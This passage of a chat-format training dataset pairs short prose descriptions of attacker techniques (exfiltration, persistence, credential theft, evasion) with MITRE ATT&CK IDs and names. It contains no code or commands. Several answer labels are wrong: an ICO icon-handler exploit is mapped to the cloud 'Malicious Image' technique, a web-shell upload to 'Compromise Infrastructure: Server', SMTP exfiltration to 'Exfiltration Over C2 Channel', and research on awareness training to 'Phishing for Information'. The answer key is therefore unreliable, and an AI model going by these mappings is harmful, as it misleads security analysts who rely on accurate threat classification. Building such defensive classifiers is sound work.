                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group obtains a remote access tool by extracting it from a malicious email attachment to enhance their intrusion set."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Obtain Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware establishes a command-and-control channel by embedding encrypted data within ICMP echo request packets to bypass firewalls."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised admin tool calls Keychain Services to pull saved SSH private keys."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware was packed and then stripped of unnecessary resources, resulting in a minimal payload that was hard to attribute."
            },
            {
                "role": "assistant",
                "content": "T1027.008 - Obfuscated Files or Information: Stripped Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script creates a temporary file in %TEMP% and monitors it for changes, using the file as a communication channel between processes."
            },
            {
                "role": "assistant",
                "content": "T1559 - Inter-Process Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code accesses the '/etc/hosts' file and performs external DNS queries to infer the network segment of the target."
            },
            {
                "role": "assistant",
                "content": "T1614 - System Location Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using launchctl bootstrap, the adversary registers a new background service that runs with root privileges."
            },
            {
                "role": "assistant",
                "content": "T1569.001 - System Services: Launchctl"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a botnet, the attacker leverages fast‑flux DNS to serve malicious payloads from many IP addresses that are swapped frequently."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious ICO file is placed on a shared network drive; when Windows displays the file icon, the vulnerability in the icon handler triggers the execution of a credential-stealing tool."
            },
            {
                "role": "assistant",
                "content": "T1204.003 - User Execution: Malicious Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion attempt involved an email attachment that was a benign‑looking HTML file; the file used the canvas element to decode a hidden payload and writes it to a temporary location."
            },
            {
                "role": "assistant",
                "content": "T1027.006 - Obfuscated Files or Information: HTML Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker disables the recording of shell commands by editing the /etc/profile configuration to unset the HISTFILE variable."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Defenses: Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker used a hidden partition on a USB stick to store stolen credentials, then left the site undetected."
            },
            {
                "role": "assistant",
                "content": "T1052 - Exfiltration Over Physical Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers craft convincing email messages that appear to come from a trusted partner, prompting recipients to click a malicious link and enter their corporate credentials on a fake login page."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Staged data is placed in a hidden repository on a remote Git server for later exfil."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Obfuscation technique: data is first compressed with GZIP, then encoded using base64 before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using ptrace system calls, the adversary performs in-process injection, altering the target's execution to run attacker-controlled commands."
            },
            {
                "role": "assistant",
                "content": "T1055.008 - Process Injection: Ptrace System Calls"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages a third‑party proxy service to relay phishing payloads, making detection of the original source difficult."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware compresses and encrypts exfiltrated data, then exfiltrates it via outbound SMTP by sending it as email attachments."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware performs DNS lookups on domains generated through a mathematical function, effectively calculating the next server location at runtime."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker exploits DCOM to remotely invoke methods in a system service, allowing command execution across processes."
            },
            {
                "role": "assistant",
                "content": "T1559 - Inter-Process Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise involves changing the global PATH setting so that when the system searches for executables, it finds the attacker‑supplied binary first."
            },
            {
                "role": "assistant",
                "content": "T1574.007 - Hijack Execution Flow: Path Interception by PATH Environment Variable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Trojan creates a pipe with the name \\\\.\\pipe\\PrivEscPipe to coordinate actions between a service and a user‑level process."
            },
            {
                "role": "assistant",
                "content": "T1559 - Inter-Process Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary leverages a compromised process to call the Keychain API and pull out stored passwords for email accounts."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a malicious launch agent by writing a plist file to ~/Library/LaunchAgents to execute a backdoor on login."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining access to a Kubernetes cluster, the adversary pulled service account tokens stored in the cluster's secret store."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use a script to clean up network connection logs and delete any saved network configuration artifacts."
            },
            {
                "role": "assistant",
                "content": "T1070.007 - Indicator Removal: Clear Network Connection History and Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary abuses the Netsh helper DLL to gain event‑triggered code execution without user interaction."
            },
            {
                "role": "assistant",
                "content": "T1546.007 - Event Triggered Execution: Netsh Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit overwrites critical data structures in a running process to corrupt its logic and gain elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the permissions of an installer file so that it can be overwritten by the malicious payload, then triggers the install process to execute the payload."
            },
            {
                "role": "assistant",
                "content": "T1574.005 - Hijack Execution Flow: Executable Installer File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script tries the same password for many usernames to avoid account lockout thresholds."
            },
            {
                "role": "assistant",
                "content": "T1110.003 - Brute Force: Password Spraying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor sets a rule in the user's mail client to automatically forward every email to an attacker‑controlled address."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group exfiltrates stolen credentials by sending them as JSON payloads to a malicious Azure Blob Storage endpoint."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By adding a malicious DLL to a folder that is earlier in the system's PATH variable, the adversary ensures their code is loaded instead of the legitimate library."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder extracts API keys from environment variable files (e.g., .bash_profile) that were left unprotected on the server."
            },
            {
                "role": "assistant",
                "content": "T1552 - Unsecured Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the BITS service, the intruder initiates a file transfer that brings in a ransomware payload, which is later executed to encrypt user data."
            },
            {
                "role": "assistant",
                "content": "T1197 - BITS Jobs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors embed malicious binaries within the ADS of system files to stay hidden on the host."
            },
            {
                "role": "assistant",
                "content": "T1564.004 - Hide Artifacts: NTFS File Attributes"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group takes over a compromised webmail server to harvest credentials and forward emails."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gathering information about a target organization's security awareness training programs."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious tool scans for Wi‑Fi access points, capturing SSID, MAC address, and authentication method for later use in lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1016.002 - System Network Configuration Discovery: Wi‑Fi Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets the hidden attribute on a keylogging file to avoid detection by antivirus scans."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors configure a network tap to mirror user traffic and pipe the mirrored stream to their command server."
            },
            {
                "role": "assistant",
                "content": "T1020.001 - Automated Exfiltration: Traffic Duplication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker compromises a reputable news portal and embeds a drive‑by download script that exploits a browser vulnerability, delivering a ransomware binary to all page viewers."
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Stage Capabilities: Drive-by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised admin’s credentials, the threat actor sends a calendar invitation that looks like it’s from the CEO, embedding a malicious attachment."
            },
            {
                "role": "assistant",
                "content": "T1656 - Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker ran a PowerShell script that called Confluence's /download/attachments endpoint to retrieve files."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker distributes a malicious .msi installer that runs a payload whenever the victim initiates the installation process."
            },
            {
                "role": "assistant",
                "content": "T1546.016 - Event Triggered Execution: Installer Packages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Trojan employs anti-debugging tricks such as raising exceptions that are only caught when a debugger is present."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware enumerates all removable drives and copies all .docx and .pdf files to a hidden folder on each."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses the DCOM interface to coordinate actions between separate compromised services."
            },
            {
                "role": "assistant",
                "content": "T1559 - Inter-Process Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes adding a backdoor user to the local SAM database for stealthy access."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor deploys a destructive macro that erases recent email archives on targeted accounts."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries acquire a domain name similar to a legitimate brand and host a phishing site on a public web hosting service."
            },
            {
                "role": "assistant",
                "content": "T1583.006 - Acquire Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies intrusion detection system alerts, creating false positives to overwhelm the SOC team."
            },
            {
                "role": "assistant",
                "content": "T1562.011 - Impair Defenses: Spoof Security Alerting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker replaces the legitimate PDF viewer binary with a malicious version that drops ransomware."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors harvest credentials by parsing backup archives and log files for embedded usernames and passwords."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a vulnerable WYSIWYG editor, the intruder injects malicious Lua code that runs on the server when content is rendered."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses the Outlook REST API to pull messages from the victim’s mailbox and forward them to an external IP address."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker launches a direct network flood by emitting a high rate of ICMP echo request packets toward the target, exhausting its network resources."
            },
            {
                "role": "assistant",
                "content": "T1498.001 - Network Denial of Service: Direct Network Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivers a payload that seeks out attached USB drives and writes a copy of itself to the root directory for later propagation."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware enumerates the /proc filesystem to locate credential data in process memory spaces."
            },
            {
                "role": "assistant",
                "content": "T1003.007 - OS Credential Dumping: Proc Filesystem"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses cloud account credentials to provision high‑CPU virtual machines that secretly mine cryptocurrency."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary modifies the Group Policy to point to a hostile script executed during network logon, enabling credential theft."
            },
            {
                "role": "assistant",
                "content": "T1037.003 - Boot or Logon Initialization Scripts: Network Logon Script"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages a hypervisor to create a temporary VM for executing malicious scripts, leaving no host artifacts."
            },
            {
                "role": "assistant",
                "content": "T1564.006 - Hide Artifacts: Run Virtual Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A supply-chain attack injected malicious code into a CI/CD pipeline, which then harvested and leaked Docker Hub credentials."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script creates bogus security alerts that mimic legitimate OS notifications, causing users to lower their defenses."
            },
            {
                "role": "assistant",
                "content": "T1562.011 - Impair Defenses: Spoof Security Alerting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware leverages a misconfigured sudoers file to execute commands as root without a password."
            },
            {
                "role": "assistant",
                "content": "T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs a custom installer that silently adds a malicious root certificate, facilitating future code‑signing evasion techniques."
            },
            {
                "role": "assistant",
                "content": "T1608.003 - Stage Capabilities: Install Digital Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors harvest credential hashes from the domain controller and use them to authenticate to other systems without raising alerts."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Valid Accounts: Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leveraged a vulnerable web application on a public-facing server to upload a web shell and execute commands."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits a compromised OAuth token to call the Okta API and list all groups in the organization."
            },
            {
                "role": "assistant",
                "content": "T1069.003 - Permission Groups Discovery: Cloud Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary performs a BGP hijack simulation to understand the target's routing topology."
            },
            {
                "role": "assistant",
                "content": "T1590.004 - Gather Victim Network Information: Network Topology"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious insider printed sensitive spreadsheets and mailed them to an offshore address."
            },
            {
                "role": "assistant",
                "content": "T1052 - Exfiltration Over Physical Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor utilized the Mozilla Certificate Explorer to identify valid certificates issued to the victim's infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1596.003 - Search Open Technical Databases: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers modify the Registry key HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System to disable User Account Control."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistent backdoor is installed by appending a malicious alias to the user's .profile, causing execution on login."
            },
            {
                "role": "assistant",
                "content": "T1546.004 - Event Triggered Execution: Unix Shell Configuration Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromised application is altered to implement a custom reversible encryption for session keys, allowing the attacker to decrypt active sessions."
            },
            {
                "role": "assistant",
                "content": "T1556.005 - Modify Authentication Process: Reversible Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Windows PowerShell backdoor encodes harvested files and writes them to a new note on the online service Pastebin.com."
            },
            {
                "role": "assistant",
                "content": "T1567.003 - Exfiltration Over Web Service: Exfiltration to Text Storage Sites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
